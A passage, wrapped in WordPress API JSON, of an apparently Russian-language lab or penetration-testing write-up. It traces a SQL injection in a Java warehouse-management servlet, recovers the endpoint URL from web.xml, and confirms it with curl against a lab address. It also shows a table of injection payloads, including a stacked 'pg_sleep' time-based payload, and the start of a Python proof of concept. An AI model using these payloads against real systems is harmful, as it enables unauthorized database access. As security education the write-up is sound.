out);\u00a0\u00a0 \/\/ &lt;&#8212; \u0441\u044e\u0434\u0430 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 } else { \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 exportAllStock(minQty, out); \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 } \u00a0\u00a0\u00a0 } else { \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 out.println(&#171;missing parameters&#187;); \u00a0\u00a0\u00a0 } }\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0438 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0435\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0447\u0438\u0442\u0430\u0435\u0442 \u0441\u0435\u0440\u0432\u043b\u0435\u0442: fullExport, minQty, warehouseId, includeArchived. \u0412\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0435:\u00b7 fullExport=true \u2192 exportFullCatalog \u0438 return. \u041c\u0438\u043c\u043e.\u00b7 includeArchived=true \u2192 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430. \u041c\u0438\u043c\u043e.\u00b7 \u0438\u043d\u0430\u0447\u0435, \u0435\u0441\u043b\u0438 \u0437\u0430\u0434\u0430\u043d minQty \u0438 \u043d\u0435\u043f\u0443\u0441\u0442\u043e\u0439 warehouseId \u2192 exportStockByWarehouse(warehouseId, minQty, out). \u0421\u044e\u0434\u0430.\u0412\u0445\u043e\u0434 \u0432 \u043d\u0443\u0436\u043d\u0443\u044e \u0432\u0435\u0442\u043a\u0443: fullExport \u0438 includeArchived \u043d\u0435 \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u043c, minQty \u0438 warehouseId \u2014 \u043d\u0435\u043f\u0443\u0441\u0442\u044b\u043c\u0438.doPost \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 doGet \u2014 \u043e\u0431\u0435 \u0442\u043e\u0447\u043a\u0438 \u0432\u0445\u043e\u0434\u0430 \u0432\u0435\u0434\u0443\u0442 \u043a \u043e\u0434\u043d\u043e\u0439 \u043b\u043e\u0433\u0438\u043a\u0435.\u0428\u0430\u0433 4. \u041d\u0430\u0445\u043e\u0434\u0438\u043c \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044epublic void exportStockByWarehouse(String paramString1, String minQty, PrintWriter out) { \u00a0\u00a0\u00a0 int min = Integer.parseInt(minQty); \u00a0\u00a0\u00a0 String qry = &#171;select distinct(SKU) from WMS_STOCK_ITEMS where WAREHOUSE_ID=&#187; \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 + paramString1 + &#187; and QTY &gt; &#187; + min; \u00a0\u00a0\u00a0 &#8230; \u00a0\u00a0\u00a0 Statement st = ConnectionPool.getConnection().createStatement(); \u00a0\u00a0\u00a0 ResultSet rs = st.executeQuery(qry); \u00a0\u00a0\u00a0 &#8230; }\u00b7 minQty \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0447\u0435\u0440\u0435\u0437 Integer.parseInt(&#8230;)\u00a0\u2014 \u043d\u0435\u2011\u0447\u0438\u0441\u043b\u043e \u0434\u0430\u0435\u0442 NumberFormatException \u0435\u0449\u0435 \u0434\u043e\u00a0\u0437\u0430\u043f\u0440\u043e\u0441\u0430. \u041a\u0430\u043a\u00a0\u0432\u0435\u043a\u0442\u043e\u0440 \u0431\u0435\u0441\u043f\u043e\u043b\u0435\u0437\u0435\u043d.\u00b7 warehouseId (paramString1) \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u00a0\u0437\u0430\u043f\u0440\u043e\u0441 \u043a\u0430\u043a\u00a0\u0435\u0441\u0442\u044c: \u0431\u0435\u0437\u00a0\u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0431\u0435\u0437\u00a0PreparedStatement, \u0431\u0435\u0437\u00a0\u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043a\u00a0\u0447\u0438\u0441\u043b\u0443.\u00b7 \u0417\u0430\u043f\u0440\u043e\u0441 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 Statement.executeQuery(qry)\u00a0\u2014 \u0431\u0430\u0437\u0430 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u0442\u0440\u043e\u043a\u0443 \u0431\u0443\u043a\u0432\u0430\u043b\u044c\u043d\u043e.warehouseId \u0443\u044f\u0437\u0432\u0438\u043c \u043a SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438. \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0447\u0438\u0441\u043b\u043e\u0432\u043e\u0439: \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043a\u0430\u0432\u044b\u0447\u0435\u043a (WAREHOUSE_ID=1, \u0430 \u043d\u0435 =&#8217;1&#8242;). \u0417\u043d\u0430\u0447\u0438\u0442, \u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u043d\u0438\u0447\u0435\u0433\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0442\u044c \u0438\u043b\u0438 \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u2014 \u043c\u044b \u0443\u0436\u0435 \u0432\u043d\u0435 \u0441\u0442\u0440\u043e\u043a\u043e\u0432\u043e\u0433\u043e \u043b\u0438\u0442\u0435\u0440\u0430\u043b\u0430 \u0438 \u043c\u043e\u0436\u0435\u043c \u0441\u0440\u0430\u0437\u0443 \u0434\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0441\u0432\u043e\u0439 SQL. \u0421\u0423\u0411\u0414 \u2014 PostgreSQL.\u0421\u0442\u0440\u043e\u043a\u0430 &#171;&#8230; WHERE WAREHOUSE_ID=&#187; + paramString1 \u2014 \u043a\u043e\u043d\u043a\u0430\u0442\u0435\u043d\u0430\u0446\u0438\u044f \u0432\u0432\u043e\u0434\u0430 \u0432 SQL.\u0428\u0430\u0433 5. \u0412\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c URL\u041a\u043b\u0430\u0441\u0441 \u2014 \u043d\u0435 \u0430\u0434\u0440\u0435\u0441. \u041f\u043e \u043a\u0430\u043a\u043e\u043c\u0443 URL \u0441\u0435\u0440\u0432\u043b\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0441\u043d\u0430\u0440\u0443\u0436\u0438? \u0421\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u00ab\u043a\u043b\u0430\u0441\u0441 \u2192 URL\u00bb \u0437\u0430\u0434\u0430\u0435\u0442\u0441\u044f \u0432 \u0434\u0435\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0440\u0435 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f WEB-INF\/web.xml: \u0431\u043b\u043e\u043a &lt;servlet&gt; \u0434\u0430\u0435\u0442 \u043a\u043b\u0430\u0441\u0441\u0443 \u0438\u043c\u044f, &lt;servlet-mapping&gt; \u043f\u0440\u0438\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u044d\u0442\u043e \u0438\u043c\u044f \u043a \u043f\u0443\u0442\u0438. \u0413\u0440\u0435\u043f\u0430\u0435\u043c \u043f\u043e \u0438\u043c\u0435\u043d\u0438 \u043a\u043b\u0430\u0441\u0441\u0430:&lt;servlet&gt; \u00a0\u00a0\u00a0 &lt;servlet-name&gt;ReportExportServlet&lt;\/servlet-name&gt; \u00a0\u00a0\u00a0 &lt;servlet-class&gt;com.acme.wms.servlets.ReportExportServlet&lt;\/servlet-class&gt; &lt;\/servlet&gt;  &lt;servlet-mapping&gt; \u00a0\u00a0\u00a0 &lt;servlet-name&gt;ReportExportServlet&lt;\/servlet-name&gt; \u00a0\u00a0\u00a0 &lt;url-pattern&gt;\/servlet\/ReportExportServlet&lt;\/url-pattern&gt; &lt;\/servlet-mapping&gt;url-pattern: \/servlet\/ReportExportServlet.web.xml \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u043a\u043b\u0430\u0441\u0441 \u0441\u0435\u0440\u0432\u043b\u0435\u0442\u0430 \u0441 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u043c URL.\u041c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u0443\u044e \u0432\u0435\u0442\u043a\u0443:https:\/\/&lt;target&gt;:8443\/servlet\/ReportExportServlet?minQty=1&amp;warehouseId=1\u0421\u043e\u0431\u0435\u0440\u0435\u0442 SQL:select distinct(SKU) from WMS_STOCK_ITEMS where WAREHOUSE_ID=1 and QTY &gt; 1warehouseId \u2014 \u0442\u043e\u0447\u043a\u0430 \u0432\u0445\u043e\u0434\u0430.\u0428\u0430\u0433 6. \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u043c\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u0440\u0443\u0447\u043d\u0443\u044e\u0420\u0443\u043a\u0430\u043c\u0438, \u0441 \u0440\u0430\u0437\u0434\u0435\u043b\u0438\u0442\u0435\u043b\u0435\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 ; \u0432 warehouseId:curl &#8216;https:\/\/192.168.56.20:8443\/servlet\/ReportExportServlet?minQty=1&amp;warehouseId=1;&#8217; -k -i\u0421\u0438\u043c\u0432\u043e\u043b ; \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0435\u0442 \u043e\u0434\u0438\u043d SQL-\u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440 \u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 (\u0441\u0442\u0435\u043a-\u0437\u0430\u043f\u0440\u043e\u0441). JDBC-\u0434\u0440\u0430\u0439\u0432\u0435\u0440 PostgreSQL \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u0435\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u0432 \u043e\u0434\u043d\u043e\u043c \u0432\u044b\u0437\u043e\u0432\u0435 \u2014 \u044d\u0442\u0438\u043c \u043c\u044b \u0438 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f. \u041f\u0440\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u043c [C1]\u00a0debug-\u043b\u043e\u0433\u0435 \u0432 \u043b\u043e\u0433\u0430\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043f\u043e\u044f\u0432\u0438\u0442\u0441\u044f \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441, \u0430 \u0432 \u043b\u043e\u0433\u0435 PostgreSQL \u2014 \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430. \u0412\u0432\u043e\u0434 \u0434\u043e\u043b\u0435\u0442\u0430\u0435\u0442 \u0434\u043e \u043f\u0430\u0440\u0441\u0435\u0440\u0430 SQL.\u041f\u0435\u0440\u0435\u0431\u043e\u0440 \u043d\u0430\u0433\u0440\u0443\u0437\u043e\u043a\u041d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 (PostgreSQL, \u0447\u0438\u0441\u043b\u043e\u0432\u043e\u0439 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442):\u041d\u0430\u0433\u0440\u0443\u0437\u043a\u0430 (\u0432 warehouseId)\u0418\u0434\u0435\u044f\u0418\u0442\u043e\u04331 ORDER BY 1&#8212;\u0447\u0438\u0441\u043b\u043e \u043a\u043e\u043b\u043e\u043d\u043e\u043a\u0437\u0430\u0432\u0438\u0441\u0438\u04421 UNION SELECT 1\u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0439 UNION\u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u04421 UNION SELECT CASE WHEN (1=1) THEN 1 ELSE 0   ENDboolean-based\u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u04421;select pg_sleep(10)&#8212;time-based blind\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442\u00a0UNION \u043d\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442: \u0447\u0438\u0441\u043b\u043e \u0438 \u0442\u0438\u043f\u044b \u043a\u043e\u043b\u043e\u043d\u043e\u043a \u0434\u043e\u043b\u0436\u043d\u044b \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0442\u044c \u0441 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c. \u0422\u043e\u0442 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 distinct(SKU) (varchar), \u0430 SELECT 1 \u2014 integer. Postgres \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 UNION types integer and character varying cannot be matched. \u041f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0442\u0438\u043f\u043e\u0432 (SELECT NULL::text) \u043f\u043e\u043c\u043e\u0433\u043b\u043e \u0431\u044b, \u043d\u043e \u0434\u043b\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u0444\u0430\u043a\u0442\u0430 \u043b\u0438\u0448\u043d\u0435\u0435.Time-based \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442. pg_sleep(10) \u2014 \u0444\u0443\u043d\u043a\u0446\u0438\u044f PostgreSQL, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u043e\u0441\u0442\u043e \u0436\u0434\u0435\u0442 \u0437\u0430\u0434\u0430\u043d\u043d\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u0441\u0435\u043a\u0443\u043d\u0434. \u041f\u0440\u0438\u0435\u043c \u0443\u0434\u043e\u0431\u0435\u043d \u0442\u0435\u043c, \u0447\u0442\u043e \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u043e\u0442\u0432\u0435\u0442\u0435: \u0435\u0441\u043b\u0438 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b\u0441\u044f, \u0441\u0435\u0440\u0432\u0435\u0440 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043d\u0430 10 \u0441\u0435\u043a\u0443\u043d\u0434 \u0434\u043e\u043b\u044c\u0448\u0435 \u2014 \u0438 \u044d\u0442\u043e \u0443\u0436\u0435 \u0441\u0438\u0433\u043d\u0430\u043b \u00ab\u0434\u0430\u00bb. \u0422\u0430\u043a \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u044e\u0442 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e \u0432\u0441\u043b\u0435\u043f\u0443\u044e, \u043a\u043e\u0433\u0434\u0430 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u043d\u0435 \u0432\u044b\u0432\u043e\u0434\u0438\u0442\u0441\u044f.\u041e\u0434\u043d\u0430 \u0434\u0435\u0442\u0430\u043b\u044c: \u043f\u043e\u0441\u043b\u0435 warehouseId \u0432 \u0437\u0430\u043f\u0440\u043e\u0441 \u0434\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0445\u0432\u043e\u0441\u0442 \u00a0and QTY &gt; 1. \u0415\u0441\u043b\u0438 \u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0433\u043e\u043b\u043e\u0439, \u043e\u043d \u043f\u0440\u0438\u043b\u0438\u043f\u043d\u0435\u0442 \u043a pg_sleep (select pg_sleep(10) and QTY &gt; 1) \u0438 \u0437\u0430\u043f\u0440\u043e\u0441 \u0443\u043f\u0430\u0434\u0435\u0442 \u043d\u0430 \u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u0435\u0449\u0435 \u0434\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u2014 \u0437\u0430\u0434\u0435\u0440\u0436\u043a\u0438 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0445\u0432\u043e\u0441\u0442 \u0433\u0430\u0441\u0438\u043c \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0435\u043c &#8212;. \u041d\u0430\u0448 \u0441\u0442\u0435\u043a-\u0437\u0430\u043f\u0440\u043e\u0441 ;select pg_sleep(10)&#8212; \u0434\u0430\u0435\u0442 \u0440\u043e\u0432\u043d\u043e \u0442\u0430\u043a\u0443\u044e \u0437\u0430\u0434\u0435\u0440\u0436\u043a\u0443:select distinct(SKU) from WMS_STOCK_ITEMS where WAREHOUSE_ID=1;select pg_sleep(10)&#8212; and QTY &gt; 1PoC \u043d\u0430 Python#!\/usr\/bin\/env python3 import sys import requests import urllib3  urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)   def main(): \u00a0\u00a0\u00a0 if len(sys.argv) != 2: \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 print(&#171;usage: %s &lt;target&gt;&#187; % sys.argv[0]) \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 sys.exit(1)  \u00a0\u00a0\u00a0 target = sys.argv[1] \u00a0\u00a0\u00a0 payload = &#171;;select pg_sleep(10)&#8212;&#187;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 # time-based blind, &#8212;&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-495189","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/495189","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=495189"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/495189\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=495189"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=495189"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=495189"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}